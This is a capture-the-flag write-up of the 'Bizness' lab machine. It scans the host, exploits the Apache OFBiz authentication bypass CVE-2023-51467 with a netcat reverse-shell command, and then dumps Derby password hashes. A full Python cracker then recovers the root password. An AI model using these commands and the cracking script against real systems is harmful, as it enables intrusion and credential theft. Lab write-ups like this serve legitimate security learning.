Enumeration

Let’s start by running a port sacn on the machine.

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp   open  http     nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
443/tcp  open  ssl/http nginx 1.18.0
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after:  2328-11-10T20:03:40
| MD5:   b182:2fdb:92b0:2036:6b98:8850:b66e:da27
|_SHA-1: 8138:8595:4343:f40f:937b:cc82:23af:9052:3f5d:eb50
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_  http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
1097/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   Object
|     com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
|     @127.0.1.1:40495
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are 4 open ports on the machine:

  • 22 (SSH): OpenSSH 8.4p1 Debian 5+deb11u3
  • 80 (HTTP): nginx 1.18.0
  • 443 (HTTPS): nginx 1.18.0
  • 1097 (Java RMI): Java RMI

Let’s start with adding the machine IP to the /etc/hosts file.

echo "10.10.11.252 bizness.htb" | sudo tee -a /etc/hosts

I will search for directories using dirsearch.

sudo apt install dirsearch
dirsearch -u https://bizness.htb -e*

I found a directory /solr/admin/ which is a Solr admin panel. I will try to access it.

We will need credentials here, I tried some simple ones but none of them worked.

After some research, I found that the version of OFBiz is 18.12. On December 26, 2023, researchers at SonicWall announced the discovery of a zero-day security flaw in Apache OFBiz. Tracked as CVE-2023-51467, the vulnerability allows threat actors to bypass authentication and perform a Server-Side Request Forgery (SSRF). CVE-2023-51467 earned a critical CVSS score of 9.8. According to researchers at SonicWall, a patch released for another vulnerability, CVE-2023-49070, left the initial issue unresolved, making authentication bypass possible. source

Therefore, I will try to exploit this vulnerability by using this exploit

The script respond that Apache OFBiz instance seems to be vulnerable. Now let’s try to reverse shell.

python3 exploit.py --url https://bizness.htb --cmd "nc 10.10.14.73 9001 -e /bin/bash"

Don’t forget to start a listener on your machine.

nc -lvnp 9001

I got the user.txt flag from /home/ofbiz/ directory.

Privilege Escalation

I think this shell is not stable, so I will try to get a stable shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

And as for Derby ::: Apache Derby is an open-source relational database management system (RDBMS) developed by the Apache Software Foundation. It’s implemented entirely in Java and can be embedded in Java programs for online transaction processing which has files in .dat format.

It is located in /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0 directory.

There is a readme file that tells us to not touch any files in the directory.

Alright let’s try to get all the files in the directory and search for the hashes.

cat /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0/* > dat_files.txt
strings dat_files.txt | grep SHA

Voila we got the hashes $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

There is a GitHub repository of OFBiz where I found the HashCrypt.java function that is used to hash the password. You can find it here

Now we have known the hashing algorithm, let’s try to crack the hash by creating a Python script.

import hashlib
import base64
import os
from tqdm import tqdm
 
class PasswordEncryptor:
    def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
        """
        Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.
 
        :param hash_type: The hash algorithm to use (default is SHA).
        :param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
        """
        self.hash_type = hash_type
        self.pbkdf2_iterations = pbkdf2_iterations
 
    def crypt_bytes(self, salt, value):
        """
        Crypt a password using the specified hash type and salt.
 
        :param salt: The salt used in the encryption.
        :param value: The password value to be encrypted.
        :return: The encrypted password string.
        """
        if not salt:
            salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
        hash_obj = hashlib.new(self.hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
        return result
 
    def get_crypted_bytes(self, salt, value):
        """
        Get the encrypted bytes for a password.
 
        :param salt: The salt used in the encryption.
        :param value: The password value to get encrypted bytes for.
        :return: The encrypted bytes as a string.
        """
        try:
            hash_obj = hashlib.new(self.hash_type)
            hash_obj.update(salt.encode('utf-8'))
            hash_obj.update(value)
            hashed_bytes = hash_obj.digest()
            return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
        except hashlib.NoSuchAlgorithmException as e:
            raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")
 
# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
 
# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)
 
# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))
 
# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
    for password in tqdm(password_list, total=total_lines, desc="Processing"):
        value = password.strip()
 
        # Get the encrypted password
        hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
 
        # Compare with the search hash
        if hashed_password == search:
            print(f'Found Password:{value}, hash:{hashed_password}')
            break  # Stop the loop if a match is found

Here we go, we got the password monkeybizness for the root user.

Conclusion

This was a fun machine, I am not sure why it has such low reviews. I learned about Apache OFBiz and how to exploit it. I also learned about Apache Derby and how to crack the hashes. I hope you enjoyed this write-up. Thank you for reading.